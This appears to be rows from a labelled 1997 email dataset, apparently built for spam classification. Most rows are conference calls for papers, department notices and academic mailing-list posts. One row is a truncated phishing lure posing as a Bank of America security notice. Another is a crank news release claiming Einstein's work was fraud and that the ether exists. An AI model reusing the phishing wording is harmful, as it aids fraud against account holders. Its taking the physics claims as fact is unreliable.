fulp@math.ncsu.edu, garaizar@math.ncsu.edu, garoutte@math.ncsu.edu, gremaud@dali.math.ncsu.edu, hartwig@math.ncsu.edu, loek@math.ncsu.edu, pawel@math.ncsu.edu, ipsen@math.ncsu.edu, kaltofen@math.ncsu.edu, kito@eos.ncsu.edu, jing@unity.ncsu.edu, ctk@math.ncsu.edu, kheyfets@math.ncsu.edu, kwangil@math.ncsu.edu, kolb@poe.coe.ncsu.edu, lada@math.ncsu.edu, dmlatch@math.ncsu.edu, xblin@math.ncsu.edu, marlin@math.ncsu.edu, lbmartin@math.ncsu.edu, rhmartin@math.ncsu.edu, mccollum@math.ncsu.edu, wmm@math.ncsu.edu, mckinney@math.ncsu.edu, meyer@math.ncsu.edu, misra@math.ncsu.edu, lkn@math.ncsu.edu, lbp@math.ncsu.edu, cvpao@math.ncsu.edu, sopaur@math.ncsu.edu, elpeters@eos.ncsu.edu, putcha@math.ncsu.edu, ramsay@math.ncsu.edu, reitich@math.ncsu.edu, rodrigu@math.ncsu.edu, schecter@math.ncsu.edu, scroggs@math.ncsu.edu, selgrade@math.ncsu.edu, semazzi@windbox.foamv.ncsu.edu, shearer@math.ncsu.edu, ces@math.ncsu.edu, silber@math.ncsu.edu, jack@eos.ncsu.edu, singer@math.ncsu.edu, stitz@math.ncsu.edu, tran@math.ncsu.edu, waters@poe.coe.ncsu.edu, white@math.ncsu.edu","Mon, 18 Aug 1997 13:04:36 -0400",consultants,"To: Math Faculty >From: Lavon Page If you are teaching a class where many of the students have Maple experience, please mention to your class that job opportunities as Maple consultants are available for both the calculus sequence and for MA 114. Interested students should contact Lavon Page in HA 305 (lavon_page@ncsu.edu) or Seyma Bennett (bennett@unity.ncsu.edu). Thanks! ",0,0 service@bankofamerica.com,suresh@robotics.stanford.edu,"Wed, 27 Aug 1997 04:35:07 -0500",Bank of America Security Measures Notification ,"X-robotics.stanford.edu X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - vps.pixelhosting.org X-Source: X-Source-Args: X-Source-Dir:    Dear Bank of America Customer,      You have received this email because we have strong reason to believe that your Bank of America Association account had been recently compromised. In order to prevent any fraudulent activity from occurring we are required to open an investigation into this matter.  If your account is not updated within the next 72 hours, then will assume this account is fraudulent and will be suspended. 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The 12 templates are contained in 12 separate ASCII files, and each file contains 3 columns: 1) the wavelength in angstroms, 2) the average flux in units of erg cm^-2 s^-1 A^-1 3) the standard deviation on the flux, also in units of erg cm^-2 s^-1 A^-1. The name of the file identifies the template as follows: SB1 = Starbursts with E(B-V) < 0.10 SB2 = Starbursts with 0.11 < E(B-V) < 0.21 SB3 = Starbursts with 0.25 < E(B-V) < 0.35 SB4 = Starbursts with 0.39 < E(B-V) < 0.50 SB5 = Starbursts with 0.51 < E(B-V) < 0.60 SB6 = Starbursts with 0.61 < E(B-V) < 0.70 S0 = S0 galaxies template Sa = Sa galaxies template Sb = Sb galaxies template Sc = Sc galaxies template bulge = bulges template ellipticals = ellipticals template For the individual galaxies spectra, the files begin with the name of the galaxy followed by the extension .txt. These spectra are in units of erg cm^-2 s^-1 A^-1, have initial wavelength 1100A and wavelength bin 1.5A. Note that the individual spectra are in the observed frame, while the templates are in the rest frame.",0,0 Tiziana Margaria ,THEORYNT@LISTSERV.NODAK.EDU,"Fri, 05 Sep 1997 17:35:09 -0700",Call for papers for TACAS'98 and VISUAL'98: please circulate it locally,"Dear Colleagues, The call for contributions to both TACAS'98 and the co-located VISUAL'98 workshops are appended below. Additional information is available at http://brahms.fmi.uni-passau.de/bs/organization/ Best regards Tiziana Margaria *---------------------------- TACAS'98 ------------------------- *--- CALL FOR PAPERS CALL FOR PAPERS ---* ***************************** * * * TACAS'98 * * * ***************************** First International Conference on Tools and Algorithms for the Construction and Analysis of Systems March 31 - April 2, 1998 Lisbon (Portugal) SCOPE: ~~~~~ Many similar tools and algorithms have been independently developed in various areas of computer science like automata and language theory, verification and synthesis of hardware and software systems, construction and analysis of real time systems, software engineering, type and proof theory, logic and algebra. TACAS is a 'community-independent' forum for discussion between the researchers and developers interested in tools. In the focus are basic principles and application-independent features of algorithms and their implementation, with the aim to increase the reliability, flexibility and efficiency of current tools by highlighting common problems, heuristics, data structures, and solutions. In particular, theoretical papers with a clear link to tool construction and tool descriptions and applications with conceptual message are encouraged. As TACAS addresses quite a heterogeneous audience, one of the major selection criteria for papers and tool demonstrations is a widely accessible presentation on a conceptual rather than technical level. This requires authors to think about their techniques in a wider context, which we believe is the key to a wider dissemination of more and more professional tools. Moreover it establishes a significant difference between TACAS contributions and typical publications in the various specialized communities, where a large common basis can be assumed. REGULAR PAPERS AND REFEREED TOOL PRESENTATIONS ARE EQUALLY TREATED: accepted contributions will receive the same space in the conference schedule and in the proceedings. In addition, there will be informal tool demonstrations during the breaks. The topics of the workshop include: - compositional verification and construction techniques; - refinement-based methodologies; - heterogeneous analysis; - theorem-proving and model checking; - analytical techniques for real-time, hybrid, probabilistic, and safety-critical systems; - tool environments and tool architectures; - applications and case studies INVITED SPEAKER: ~~~~~~~~~~~~~~~ Randy Bryant - Carnegie Mellon University (USA) PROGRAM COMMITTEE: ~~~~~~~~~~~~~~~~~~ Ed Brinksma (NL) Rance Cleaveland (USA) Fausto Giunchiglia (I) Susanne Graf (F) Tom Henzinger (USA) Daniel Jackson (USA) Kurt Jensen (DK) Kim Larsen (DK) Tiziana Margaria (D) Jens Palsberg (USA) Doron Peled (USA) Scott Smolka (USA) Bernhard Steffen (D, chair) Frits Vaandrager (NL) SUBMISSION INSTRUCTIONS: ~~~~~~~~~~~~~~~~~~~~~~~ Prospective authors are invited to submit an extended abstract for: A) Regular papers B) Tool presentations Electronic submission via e-mail is strongly encouraged. Please send an encapsulated postscript file which can be printed by any postscript device to tacas98@fmi.uni-passau.de Authors who cannot comply with these instructions should send five copies of their submission to (postal address to be confirmed soon). E-mail addresses and fax numbers of the authors should be included in the submission. Authors will be notified of the decision of the programme committee by e-mail. Papers must be unpublished and not submitted for publication elsewhere. The final paper will be no more than 15 pages in the Springer-Verlag format for Lecture Notes in Computer Science (the series in which the proceedings will be published); see the back cover of a recent volume for details or http://www.springer.de/author/ IMPORTANT DATES: ~~~~~~~~~~~~~~~~ Deadline for Submission : 6 October 1997 Notification to Authors : 8 December 1997 Camera-ready Final Version : 12 January 1998 ADDITIONAL INFORMATION: ~~~~~~~~~~~~~~~~~~~~~~~ Further information and updates are available via www at http://brahms.fmi.uni-passau.de/bs/organization/ *--------------------------------- VISUAL'98 ------------------------- *--- CALL FOR PAPERS CALL FOR PAPERS ---* ***************************** * * * VISUAL'98 * * * ***************************** International Workshop on Visualization Issues for Formal Methods March 30, 1998 Lisbon (Portugal) Formal Methods are increasingly needed in industrial practice. The great challenge for the future is to fully integrate the use of formal methods into the development process. Development engineers are unlikely to adopt the mathematical notations underlying formal methods; accordingly, formal methods must be presented and encapsulated in an application-oriented fashion inorder to be easily understood and applied by their users. Visualization and user-friendly interfaces are key issues for this. This one-day workshop intends to bring together people from industry and academia to discuss ongoing work in the field with particular focus on the transfer of research results into practical solutions. Conversely, needs arising in concrete application contexts shall be presented to provide feedback to the research arena. The workshop intends to provide a forum for critical discussion for people who are interested in the various technical aspects of formal methods and visualization. Topics: ~~~~~~ Original contributions are invited from both academia and industry on the following (non-exclusive) list of topics. All contributions should take into account the integration of formal methods and visualization concepts. - Application of visualization and representation concepts to support domain-specific instantiations of formal methods - System architectures for enhanced graphical support - Graphical or visual methods and tools supporting automatic analysis, synthesis and verification methods - Effects of visual information on productivity and performance in formal methods - Case studies based on visually-oriented tools, or comparison studies between visually and sententially oriented tools and their applications. The contributors should keep in mind that the goals of the workshop will be best fulfilled if a lively and fruitful communication between research and industry can be initiated. Workshop Organization: ~~~~~~~~~~~~~~~~~~~~~ The workshop will be associated with TACAS'98, the Intern. Conference on Tools and Algorithms for the Construction and Analysis of Systems, which is part of ETAPS'98. Its working language is English. Besides technical talks of roughly 30 minutes each, including discussion, also invited talks by distinguished speakers and tool demonstrations are planned. Program Committee: ~~~~~~~~~~~~~~~~~ Lou Feijs Philips (NL) Kathi Fisler Rice University, TX (USA) Tiziana Margaria University of Passau (D), Co-Chair Louise Moser University of California, Santa Barbara, CA (USA) Doron Peled Bell Laboratories, NJ (USA) Joachim Posegga Deutsche Telekom (D), Co-Chair Peter Reintjes Netspeak, FL (USA) Dave Robertson Univ. of Edinburgh (UK) Evaluation and Publication of Submitted Papers: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prospective authors are invited to submit A) Regular contributions, evaluated on the basis of a 10 - 15 page full paper. B) Extended abstracts (3 - 4 pages), concerning very recent or ongoing work, and C) Position papers (3 - 4 pages) on hot topics, which provide good points for discussion D) Proposals for tool demonstrations (3 - 4 pages) Electronic submission is encouraged via email. Send submissions (encaps. postscript) to posegga@tzd.telekom.de Alternatively, mail 5 copies to Dr. Joachim Posegga Deutsche Telekom AG Technologiezentrum, FZ122h Phone: +49 6151 83-6715 Am Kavalleriesand 3 Fax: +49 6151 83-4090 D-64295 Darmstadt (Germany) posegga@tzd.telekom.de E-mail addresses and FAX numbers of the authors should be included. The notification of acceptance will be per E-mail. Proceedings for the participants will include all the accepted contribu- tions. They will appear in form of a Technical Report of the Deutsche Telekom (Research Center) and will be distributed at the workshop. Selected contributions among the full papers will be invited for publication in a special section of the TACAS'98 proceedings, which will appear as a volume of the series Lecture Notes in Computer Science, Springer Verlag. Important Dates: ~~~~~~~~~~~~~~~ Deadline for Submission 31 October 1997 (regular contributions) 12 January 1998 (all the other submissions) Notification to Authors 15 December 1997 (regular contributions) 31 January 1998 (all the other submissions) Final Version due on 12 January 1998 (LNCS) 15 February 1988 (otherwise) Additional Information: ~~~~~~~~~~~~~~~~~~~~~~ Further information and updates are available via www at http://brahms.fmi.uni-passau.de/bs/organization/ ",0,1 alex98@rtm.science.unitn.it,THEORYNT@LISTSERV.NODAK.EDU,"Fri, 05 Sep 1997 17:41:55 -0700",ALEX98 --- Update,"(apologies if you receive multiple copies) ------------------------------------------------------------------------ Update, Sep 1, 1997 ALGORITHMS AND EXPERIMENTS (ALEX98) ``Building bridges between theory and applications'' Trento, Italy, February 9 - 11, 1998 Information URL http://rtm.science.unitn.it/alex98 Email: alex98@rtm.science.unitn.it ------------------------------------------------------------------------ Submission policy Some persons asked about our policy for ""multiple submissions"". Because there are no formal proceedings for ALEX98, the policy is to accept also multiple submissions. The fact that the paper is submitted to other events must be stated clearly on the title page. Of course, if the paper is already submitted to (published in) a journal, it will not be considered for the special issue of DAM dedicated to the workshop. Submission deadline We strongly encourage electronic submissions to speed up the decision process. The strict submission deadline is ** NOVEMBER 10 **. Notifications will be sent by email on Dec 20. Information for the local hotel accommodation and a preliminary list of the invited talks have been added to the workshop URL. We have mailed a color POSTER of ALEX98 to the major departments. Please send your snailmail address if you would like a copy. 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Sans se limiter a leurs perspectives, ce colloque se propose d'examiner les enjeux de la pratique creatrice, de la gestation a la parution de l'oeuvre, en evoquant les particularites du rapport a la creation. Une place importante sera donnee au processus de l'ecriture mais les propositions de communications sur d'autres formes d'art et de creation (oeuvres cinematographiques, arts plastiques etc...) seront considerees. Le colloque encouragera en particulier les propositions qui portent sur: o L'ecriture o Media et multimedia dans les pratiques creatrices o Genetique des textes et procedes editoriaux (conditions et contraintes de la fabrication de l'oeuvre) o L'ecriture feminine dans ses rapports a la creation o L'ecriture homosexuelle (en particulier les temoignages et recits du SIDA, le motif de l'autobiographie) o L'ecriture post-coloniale o Le corps dans la creation o Culture populaire et creation o Philosophie et esthetique de la creation o Interculturalite et creation Cette liste n'est pas limitative et nous accepterons volontiers des contributions ou des suggestions portant sur d'autres themes. Nous aimerions encourager les jeunes chercheurs et etudiants en doctorat a proposer des communications sur leurs recherches en cours. Une publication des Actes du colloque est envisagee. Les propositions d'interventions en anglais ou en francais (avec titre et resume de 100 mots maximum) devront etre envoyees a: Dr Michelle Royer Department of French UNSW NSW 2052 Sydney Australia e-mail: M.Royer@unsw.edu.au OU Dr Francoise Grauby Department of French Studies University of Sydney NSW 2006 Australia e-mail: francoise.grauby@french.su.edu.au ------------------------------------- FIRST CALL FOR PAPERS RETHINKING CREATIVE PROCESSES A two-day inter-disciplinary conference 2 -3 October 1998 At the University of Sydney Australia Organisers: Department of French Studies, University of Sydney (Dr F. Grauby) Department of French, UNSW (Dr M. Royer) Over the years, France has seen the emergence of several debates on the creative process (Barthes, Derrida, Cixous, Irigaray, Anzieu etc.). Without limiting itself to the perspective of French thinkers, this conference will look at the processes involved in creative work, especially writing, from the moment of conception through to final publication but papers on other art forms (film, fine arts, etc...) are welcome. We are seeking offers of papers on the following themes: o The writing process o Media (including cinema) and multimedia in creative practices o Textual genetics and the editorial process (conditions and constraints) o Feminine writing o Gay and queer writing (including autobiographical writings on AIDS) o Post-colonial writing o The body in the creative process o Popular culture and creativity o Philosophy and aesthetics o Cross-cultural creation These themes are not exclusive, proposals and suggestions for other themes are welcome. Offers of papers in French or in English will be considered and we would like to encourage research students from various disciplines to offer papers on their current research. The publication of the conference papers is envisaged. Abstracts should not exceed 100 words and should be sent by 1 March to: Dr Michelle Royer Department of French UNSW NSW 2052 Sydney Australia e-mail: M.Royer@unsw.edu.au OR Dr Francoise Grauby Department of French Studies University of Sydney NSW 2006 Australia e-mail: francoise.grauby@french.su.edu.au ________________________________ ",0,0 ,,,,"faraday.phys.psu.edu (8.6.12/8.6.12) with ESMTP id XAA25682; Mon, 8 Sep 1997 23:42:18 -0400 From: katirai@ipoline.com Received: from pm4d29.ipoline.com (pm4d29.ipoline.com [209.5.73.119]) by ipo2.ipoline.com (8.8.5/8.8.5) with SMTP id XAA35822; Mon, 8 Sep 1997 23:39:37 -0400 Date: Mon, 8 Sep 1997 23:39:37 -0400 Message-Id: <199709090339.XAA35822@ipo2.ipoline.com> X-Sender: katirai@ipoline.com (Unverified) X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: kuckert@x4u2.desy.de, rebhana@x4u2.desy.de, realem@vxcern.cern.ch, lerche@nxth04.cern.ch, tfybil@fy.chalmers.se, prp@howdy.wustl.edu, pathology@a1.mscf.upenn.edu, mushotzky@heasrc.dnet.nasa.gov, jrlee@phya.snu.ac.kr, terning@yalph2.bitnet, W.H.Maloyan;ifi@arminco.com;, nhc@cuphyf.phys.columbia.edu, zhu@cuphyf.phys.columbia.edu, rdm@cuphyg.phys.columbia.edu, liang@phys.psu.edu, randy@phys.psu.edu, lopez@phys.tamu.edu, lck@wuphys.wustl.edu, lewis@physcn.umontreal.ca, jruan@physics.adelaide.edu.au, seung@physics.att.com, tzeng@physics.att.com, ledou@physics.rutgers.edu, linde@physics.stanford.edu, sylju@physics.ucla.edu, sanko@physics.umr.edu, stern@physik.unizh.ch, tkurz@physik3.gwdg.de, nadal@physique.ens.fr, munsteg@yukawa.uni-muenster.de, katom@tkyvax.phys.s.u-tokyo.ac.jp, nishi@tkyvax.phys.s.u-tokyo.ac.jp, phfrom@nyx.uni-konstanz.de, orzaru@rz.uni-potsdam.de, peter@mozart.ucsc.edu Subject: Important Status: R Hello, This news release has just been distributed to media around the world. As a scientist in the field, I urge you to investigate. Best regards, B. Katirai NEWS RELEASE A scientific book has just come out that presents the case that Albert Einstein, the man celebrated as one of the greatest scientific geniuses ever, together with his works amounts to the greatest fraud of the century. The book also contains a series of scientific discoveries which will undoubtedly revolutionize the science of physics. ""Revolution in Physics"" by Bahram Katirai, a former admirer of Einstein, examines the history behind Einstein's theories and uncovers a clear pattern of fraud repeated in all of Einstein's papers. From Einstein's relativity theories to his famous formula E=mc2, Katirai discovers and documents repeated instances of stealing, misrepresentation, fabrication of evidence, and mathematical manipulation and distortion. The centerpiece of ""Revolution in Physics"" is the concept of the 'ether' (not to be mistaken with the ether in chemistry) which until the time of Einstein all physicists such as Faraday, Maxwell and Lord Kelvin had come to firmly believe in. They had concluded that ether is the medium by which light propagates in space and that all the space between planets and even within atoms is filled with ether. Numerous experiments proved that light in ether is the same thing as sound in air. Based on the belief that disturbances in ether create ether waves such as visible light, Hertz was able to generate radio waves. This understanding that light is a vibration of ether was replaced by Einstein's admittedly contradictory 'wave-particle duality' theory in which light is a wave in all cases except in two cases where Einstein with his mathematics claims that it is a particle. Katirai surveys the unprecedented controversy throughout the 20th century among scientists surrounding Einstein's rejection of ether, and with extensive documentation he builds the case of how Einstein was able to hijack the scientific community into believing that ether does not exist. Based on the understanding that ether exists, Katirai provides answers to some of the most puzzling mysteries in physics. Whereas Einstein's lifelong attempts to come up with a unified field theory ended in failure, Katirai shows how the magnetic, electric and gravitational forces arise from different currents of ether. By means of simple experiments and explanations understandable to an elementary school student, he shows how each of these forces is created by the motion of one of the sub-atomic particles in ether. He reveals how Einstein's explanation of gravity as resulting from a bending of space and time, buried in complicated mathematics that only a handful can claim to understand, was an act of distortion that fooled the world. Katirai further shows how the fast motion of an object in ether generates friction and light waves just as the fast motion of an object in air generates sound waves. The bright tail of a comet moving in ether is a phenomenon similar to the tail-wave of a fast-moving motorboat in water. The author shows how innumerable phenomena such as the magnetosphere of the earth, the discovery of the solar wind, the Michelson Morley experiment and stellar aberration conclusively prove the existence of ether. The book contains other discoveries which will come to be regarded as some of the most important in this century. This 327 page book with over 270 footnotes representing almost two decades of research and investigation by Katirai and written to be understood by the general public, will prove to be of historical importance. For further information or to purchase a copy of ""Revolution in Physics"", please visit its web site at www.ipoline.com/~noor or send an e-mail to the author at katirai@ipoline.com",1,0 """E. Kolker"" ",THEORYNT@LISTSERV.NODAK.EDU,"Fri, 12 Sep 1997 21:23:54 -0700",," CALL FOR PAPERS SECOND ANNUAL INTERNATIONAL CONFERENCE ON COMPUTATIONAL MOLECULAR BIOLOGY (RECOMB 98) March 22 - 25, 1998 New York City Sponsored by Association for Computing Machinery SIGACT with support from SLOAN Foundation US Department of Energy http://www.mssm.edu/biomath/recomb98.html The Second Annual Conference on Research in Computational Molecular Biology (RECOMB 98), sponsored by the Association for Computing Machinery Special Interest Group on Algorithms and Computation Theory (ACM-SIGACT) with support from the SLOAN Foundation, and US Department of Energy will be held in New York City, March 22 - 25, 1998. Papers reporting on original research (both theoretical and experimental) in all areas of computational molecular biology are sought, including surveys of important recent results/directions. Typical but not exclusive topics of interest include: - Genomics - Molecular sequence analysis - Recognition of genes and regulatory elements - Molecular evolution - Protein structure - Combinatorial libraries and drug design ABSTRACT SUBMISSION: Authors are requested to send 10 copies (preferably two sided copies) of a detailed extended abstract (5-10 pages) to: Professor Pavel Pevzner RECOMB 98 Program Chair University of Southern California Department of Mathematics, DRB 155 Los Angeles, CA 90089-1113 An abstract must be received by October 20, 1997. This is a firm deadline. Simultaneous submission to another conference or journal is allowed. CONFERENCE PROCEEDINGS: The extended abstracts for the Conference will be published by ACM Press and will be available at the Conference. A selection of the accepted extended abstracts in their final journal versions will be invited to appear in a special issue of the Journal of Computational Biology devoted to RECOMB 98. NOTIFICATION: The conference submissions will be refereed by the program committee. Authors will be notified of acceptance or rejection by a letter mailed on or before December 15, 1997. A final copy of each accepted paper is required by January 10, 1997. An author of each accepted paper is expected to attend the Symposium and present the paper; otherwise alternative arrangements should be made to have the paper presented. ABSTRACT PREPARATION: An abstract should start with a succinct statement of the problem, the results achieved, their significance and a comparison with previous work. This material should be understandable to nonspecialists. A technical exposition directed to the specialist should follow. The length, excluding cover page and bibliography, should not exceed 10 pages. The manuscript should be easy to read, preferably using 11 point font size on U.S. standard 8 1/2 by 11 inch paper. If authors believe that more details are necessary to substantiate the claims of the paper, they may include a clearly marked appendix. An E-mail address for the contact author should be included. INVITED SPEAKERS: Charles Cantor (Boston University) Thomas Caskey (Merck) David Cox (Stanford University) Ron Davis (Stanford University) Klaus Gubernator (CombiChem) Joshua Lederberg (Rockfeller University) Michael Levitt (Stanford University) David Schwartz (New York University) John Yates (University of Washington) CONFERENCE EVENTS RECOMB 98 will feature 9 invited lectures including the following conference events: THE STANISLAW ULAM MEMORIAL COMPUTATIONAL BIOLOGY ADDRESS awarded by RECOMB to a scientist who has made major contributions in the computational aspects of the field. Professor Joshua Lederberg of Rockfeller University will deliver the Statislav Ulam Memorial Computational Biology Address. THE DISTINGUISHED BIOLOGY LECTURE awarded by RECOMB to a scientist who has made major contributions in the biological aspects of the field. Professor Ron Davis of Stanford University will deliver the Distinguished Biology Lecture. THE DISTINGUISHED NEW TECHNOLOGIES LECTURE describing emerging, new technologies. Professor David Cox of Stanford University will deliver the Distinguished New Technologies Lecture. BEST PAPER BY A YOUNG SCIENTIST AWARD. This award will be given to the best paper written solely by one or more recent graduates or students. An abstract is eligible if all authors are recent graduates (within 2 years from Ph.D.) or full-time students at the time of submission. This should be indicated in the submission letter. The program committee may decline to make the award or may split it among several papers. STEERING COMMITTEE: Sorin Istrail, RECOMB General Vice-Chair (Sandia National Laboratories) Richard Karp (University of Washington) Thomas Lengauer (GMD-SCAI, Germany) Pavel Pevzner, RECOMB General Chair (University of Southern California) Ron Shamir (Tel-Aviv University, Israel) Michael Waterman, RECOMB General Chair (University of Southern California) PROGRAM COMMITTEE: Craig Benham (Mount Sinai School of Medicine) Gary Benson (Mount Sinai School of Medicine) Bonnie Berger (MIT) Martin Farach (Rutgers University) Phil Green (University of Washington) Dan Gusfield (University of California Davis) David Haussler (University of California Santa Cruz) Sorin Istrail (Sandia National Laboratories) Richard Karp (University of Washington) Minoru Kanehisa (Kyoto University, Japan) Eugene Koonin (National Center for Biotechnology Information) Thomas Lengauer (GMD-SCAI, Germany) Webb Miller (Pennsylvania State University) Gene Myers (University of Arizona) Pavel Pevzner, Program Committee Chair (University of Southern California) David Searls (SmithKline Beecham) Ron Shamir (Tel-Aviv University, Israel) Terry Speed (University of California Berkeley) Martin Vingron (German Cancer Center) Michael Waterman (University of Southern California) ORGANIZING COMMITTEE: Craig Benham (Mount Sinai School of Medicine) Gary Benson, Conference Chair (Mount Sinai School of Medicine) Martin Farach (Rutgers University) Eugene Kolker, Publicity Chair (University of Washington) Information about local arrangements can be obtained by consulting the conference web page http://www.mssm.edu/biomath/recomb98.html or from the Conference Chair: Professor Gary Benson Department of Biomathematical Sciences Box 1023 The Mount Sinai Medical Center One Gustave L. Levy Place New York, NY 10029-6574 (212) 241-5777 phone (212) 860-4630 fax benson@ecology.biomath.mssm.edu -------------------------------------------------------------------- Eugene Kolker Dept of Molecular Biotechnology, Box 357730 Tel: +1-206-685-6941 University of Washington School of Medicine Fax: +1-206-685-7301 Seattle, WA 98195-7730, USA egn@u.washington.edu NEW (!) WEB: http://bozeman.genome.washington.edu/~eugene ",0,1 Jo-Ann Pilardi ,"CAWSLG@lists.umbc.edu, coulter@MIDGET.TOWSON.EDU, d7pca35@TOA.TOWSON.EDU","Sun, 14 Sep 1997 21:08:43 -0500",Memorial Service for Elaine Hedges: 9/22/97,"Return-path: Received: from midget.towson.edu by TOE.TOWSON.EDU (PMDF V4.2-11 #3807) id <01INOGGK298G8WYB20@TOE.TOWSON.EDU>; Mon, 15 Sep 1997 17:04:18 EST Received: (from pilardi@localhost) by midget.towson.edu (8.7.6/8.7.3) id QAA12221; Mon, 15 Sep 1997 16:57:01 -0400 Date: Mon, 15 Sep 1997 16:57:01 -0400 (EDT) From: Jo-Ann Pilardi Subject: Memorial Service for Elaine Hedges: 9/22/97 To: e7w8pil@TOE.TOWSON.EDU Message-id: X-Envelope-to: e7w8pil MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT ========================================================================= Date: Mon, 15 Sep 1997 17:21:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sandra Basgall Subject: Re: intermarriage MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I find this a troubling question. What do you mean by ethnic? Marriage between Irish and Italians? michelle moravec wrote: > > Hi, > > One of the students in my class on ethnic literature of America asked a > question last week about rates of inter-marriage between people of different > ethnicities. She also wanted to know statistics about frequency of > inter-ethnic marriage between various ethnic groups. I'm not sure where to > find this information. > > Thanks > > Michelle Moravec > Mount St. Mary's College > mmoravec@ucla.edu ========================================================================= Date: Mon, 15 Sep 1997 18:15:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""dbic6066@uriacc.uri.edu"" Subject: Re: Chicana feminism Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sharon: Ada Maria Isasi-Diaz has a great article called ""Toward an Understanding of Feminismo Hispano in the USA"" -- I found this in an anthology called *Women's Consciousness, Women's Conscience,"" ed. Barbara Hilkert Andolsen, et al. Minneapolis: Winston Press, 1985. She talks about what it means to be feminist and Hispanic in the USA, in what I think is an accessible and theoretically useful way. She pays attention to problematic issues in relating to the broader Hispanic community and to white feminists, and tasks everyone with contributing to the fight for social justice. Donna Donna M. Bickford dbic6066@uriacc.uri.edu Department of English and Women's Studies Program University of Rhode Island Kingston, RI 02881 ========================================================================= Date: Mon, 15 Sep 1997 17:38:57 CDT Reply-To: Women's Studies List Sender: Women's Studies List From: Shelley Reid Subject: Re: Chicana feminism In-Reply-To: <01INO3O2WBV6007Y8A@UMBC2.UMBC.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >Daphne Patai writes: > >> Do people on this list really think it's a good form of teaching to >> have teachers ""add"" a book about an area they know nothing about, i >> order to get the right racial/ethnic/etc. representation? When I >> consider the many years it's taken me to acquire competence in the >> area of Brazilian studies, the prospect of someone ""diversifying"" >> their teaching by a quick suggestion from an e-mail list makes me >> shudder. Good teaching requires a great deal more than this, I should >> think. Aside from the larger implications of this (and I have to wonder where, say, we junior faculty members fit into such a paradigm), what then does one recommend that the original post-er do now? Faced (for whatever combination of controllable and uncontrollable reasons) with a sizable group of students in her class who might justly complain that her original syllabus leaves them out, but not yet an expert in the literature/experiences that might best demonstrate or elucidate their concerns, she'd like to take action. So what do we recommend? She should just teach what she already knows, and thus leave the students once again unrepresented and convinced that ""feminism doesn't want/see us""? At least one reply has nixed that idea, and I agree. She should admit ignorance and rely on the students to speak from their own knowledge? Replies that note the length of time it takes to realize one's own complex oppression, that remind us that minority students shouldn't have to be the ones who are always teaching the rest of us, and that suggest that not all students are ready to translate experience into concepts without guidance, move us away from this response, and I agree there, too. She should admit ignorance, noting that there *is* information out there if the students are interested in going to find it, but that she's not going to teach about it? See above. This is not about what she should *have* done (spend 6 years studying the perspectives and lives of Chicana feminists? 10 years? hindsight is easy...), but about what she can and should do *now*. I am interested in replies, since my own classes not infrequently present me with such pedagogical emergencies. (I'd like to be prepared for everything, but haven't managed it yet....) I'm in full agreement with the well-stated arguments explaining why studying other cultures is a complex, long-term project, and one likely to yield an imperfect view to the outsider. I guess I'm still a believer in ""Gotta Start Somewhere"" (both personally and, as Jack Meacham pointed out, systemically), at least for teachers of integrity, care, and caution. cheers, shelley ***** Shelley Reid English Department, Austin College (Home of the Fighting Kangaroos) Sherman, TX 75090 SREID@austinc.edu ***** ========================================================================= Date: Mon, 15 Sep 1997 17:31:48 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: michelle moravec Subject: Re: intermarriage Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" The issue of ""ethnicity"" has already been problematized extensively in the class and students have discussed the consequences of labeling certain groups ""ethnic"" and other groups ""races."" In our class, ethnicity is used to refer to people who identify with a specific group based on langauge, culture, religon, custom, place of origin, etc. The class, because we are in Los Angeles, contains many students who are immigrants or children of immigrants. Some of the students expressed their parents' desire that they marry a person of the same ethnic background. I think part of the ""answer"" to the question would be exactly the point you seem to be trying to make - on what groups are statistics about ""intermarriage"" collected? At 05:21 PM 9/15/97 -0400, you wrote: >I find this a troubling question. What do you mean by ethnic? Marriage >between Irish and Italians? > >michelle moravec wrote: >> >> Hi, >> >> One of the students in my class on ethnic literature of America asked a >> question last week about rates of inter-marriage between people of different >> ethnicities. She also wanted to know statistics about frequency of >> inter-ethnic marriage between various ethnic groups. I'm not sure where to >> find this information. >> >> Thanks >> >> Michelle Moravec >> Mount St. Mary's College >> mmoravec@ucla.edu > > ========================================================================= Date: Mon, 15 Sep 1997 20:33:15 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: Chicana feminism This is a sticky one... I think we are discussing several different issues. I agree with most of the posters. I agree with Daphne that throwing in a book on the recommendation of an e-mail post is not necessarily the best way to proceed BUT the women's studies list is not just any e-mail list. One of the things I have come to depend upon in the six or seven years that I have been on it is that the thoughtfulness and erudition of most of the people who respond to questions such as these give us a special edge. It is difficult to acquire expertise in an area of study that is completely unfamiliar. However, Chicana studies is still in its infancy. There are few books available that would stand up to the rigors of professional criticism. I realize people will be infuriated by my saying this, but I have a fairly good acquaintance with the work in the field, and a lot of it is wonderful but not yet scholarly. Much of it is impressionistic, touchy- feely, and poetic, but undisciplined in the way that I would want. I think that part of the reason for this is that there are so FEW Latinas who have the academic credentials to do this work, and we are so burdened with teaching, serving on every committee that they can get us on (it reminds me of scenes from the Old Testament Book of Ezechiel), that we are not producing the theoretical and scholarly books in the critical mass necessary to make an impact. In fact, the best book, in my opinion for understanding the Chicano experience is George Sanchez' _Becoming a Mexican American_. I simply haven't seen ANYTHING by a woman approaching the depth and breadth of this book. As for the students knowing more than the teacher, well, I would take issue with that idea as well. Students come in with raw experience that, unless they are particularly acute and insightful, they may not have the words to express. The books like Anzaldua's _Borderlands_ or _Haciendo Caras_ connect solidly with them because her books mirror their experiences. An insightful teacher, even one who is not of the same ethnic/racial origins, may also have expertise that will facilitate that connection. In a way, it is like a therapist: She may not have direct experience with incest or substance abuse but she may still be an excellent counselor because of her training and empathy. When I was a grad student teaching at UCLA, I had many students who were from Guatemala. Having come 